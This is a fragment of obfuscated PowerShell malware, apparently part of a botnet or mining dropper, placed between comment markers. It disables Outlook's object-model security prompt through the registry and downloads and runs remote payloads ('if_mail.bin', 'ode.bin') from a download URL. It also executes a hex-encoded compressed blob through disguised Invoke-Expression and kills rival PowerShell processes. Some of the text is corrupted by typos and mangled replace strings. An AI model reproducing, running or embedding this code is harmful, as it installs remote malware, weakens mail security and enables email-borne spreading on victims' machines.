}}}catch{}$hks="HKEY_LOCAL_MACHINE\SOFTWARE\"$mso="Microsoft\Office"$wnd="Wow6432Node\"$crm="ClickToRun\REGISTRYy3dMACHINE\Software\"$paths=@("$hks$mso","$hks$wnd$mso","$hks$mso\$crm$mso","$hks$mso\$crm$wnd$mso")foreach($path in $paths){if(test-path Registry::$path){get-childitem Registry::$path -name|where-object{$_ -match "\d+" -and (Test-Path Registry::$path\$_\Outlook)}|foreach{    $skey="Registry::$path\$_\Outlook\Security"    if(!(Test-Path $skey)){        New-Item $skey    }    Set-ItemProperty $skey ObjectModelGuard 2 -type Dword    $mflag=test-path $skey}}}if($mflag){    try{$localMail=$flase;    New-Object Threading.Mutex($true,'Global\LocalMail',[ref]$localMail)}catch{}    if($localMail){        if(!(test-path $env:tmp\godmali4.txt)){            SIEX "$down_url/if_mail.bin"        }    }}if(!(test-path $env:tmp\kk4kk.log)){    SIEX "$down_url/ode.bin"}
*/

I`EX $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$('edbd07601c499625262f6dca7b7f4af54ad7e074a10880601324d8904010ecc188cde692ec1d69472329ab2a81ca6556655d661640cced9dbcf7de7befbdf7de7befbdf7ba3b9d4e27f7dfff3f5c6664016cf6ce4adac99e2180aac81f3f7e7c1f3f227eb76f9f4ebefb53e96769fa519ade49efecefed7ebf3efef6c9f7461fffa287eb8fd3fce4b85ce5f576faf09ef9fc8b67edc7e9e9f4b87c79faea643b4d3fb5df4c5e2e3e765fdcf9f8374e7ee3e40e357ff7c5c79f7cfc8cfedf7ef27dfa77e71efdf3bd53fa6741fffff2dbcd8a7e4ce8ff2ff13737d9ff1efd73fac597f4efb75fd33fab097f97d2ffb7d2710ad43ef9f8ce3efd43f8d2bf754608d0cf11f5f6e4bbbf887ea35fd234a75f4e8e9fd300a6842886907d1b1f7d0fede897f2e1f32f182fc0c658b929fdb14dffa77119c868feecf57700162369a929fda4d6f42f60df1128bf44befd447ecce4078624f8d0bf45d3e4d30a6057e3df1f5fbffe02edf9bbefa4fa06fe2eb631d6c612ce412100b6997e2300b757f8d936bfd8a20940f3690624d1022dcf0508be213afd922f2cb6e5170e55d3e943e9413b7a4eff7c6b7fb293fb4d3eb1bf4db2878026f0f72d60feead37def05ee67f290fe39c704665fd8a13cfcd435f33b41d38307bb963cfc23c3cb073bf4cf7dc0dac19fe7dfa27f4a462100d23e7cce1f2a7a0a33f586fcaccddf16a521e672dbfb5a7ee4cbc242d3379ecf96d922201178b4026b8c7fff67605b704c3a0340c70bf462b69d96dea89f7f6b594cc6989eb7df12e44d0ff4efc3e76084fc2dfd53e877962ea5a0f9b1a3cac732b2dc60653e5be275c6776146c56f55f4afe0ebf0f1185dc12936406406485980050d0613f03c7f67bb7dd68e3110331850977e9d37f44f1d52f58afea92046248ae92fca7940b92180e96191bd1069a1ffbffece2fc68b53e6c23eabfc34fd33f9723baff339fdf6dd27f8e717b1d0d58ac94bfae8f7dfbb877104c328becb126751c6670d64a704819c40318af8729a4b671fcbcc2cbebb1da119feca3fb7b3bfb545ff4bb7ee7cfcf18ba2facef6f7efef8df6e97fdf9be6abe68b2fa78f2e97f9ef966ea5bf10eaf830254db7b575795c9f654fca3cfdf85b8b59fdad8fef8c5f648bfc7bf746bbbba3bdef6f7fa73a7bf1f1c777e8a5efbd7e5317cbcfbfffe8d177be3c5b6e7dfc713adafafc2c4d7f92001c4f9e9f3e12559fde195f66cfbfcabf976eefa6e371ba4df86c68362ef3e5e76fbe7d27fd3e5987f4374efe1f'-split'(..)'|?{$_}|%{[convert]::ToUInt32($_,16)}))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();

& ( $env:cOMspec[4,24,25]-JoiN'')((('(('Get-WmiObject -Class Win32_Process|Where-Object{JSF_.Name -eq powershell.exe -and '+$_.CommandLine -like *kr.bin* -and JSF_.CommandLine -notlike *f4095084ad178f69a4f9b46b49abe0b4*}|foreach{stop-process -id JSF_.processid}')-crepLACe $',[CHar]36 -crepLACe  '',[CHar]39  -crepLACe  '|',[CHar]124)| . ( $pSHOME[4]+mPbpsHOmE[30]+'x')') -CREPlAcE'$',$  -CREPlAcE ''',' -replACe '|',|) )  

/*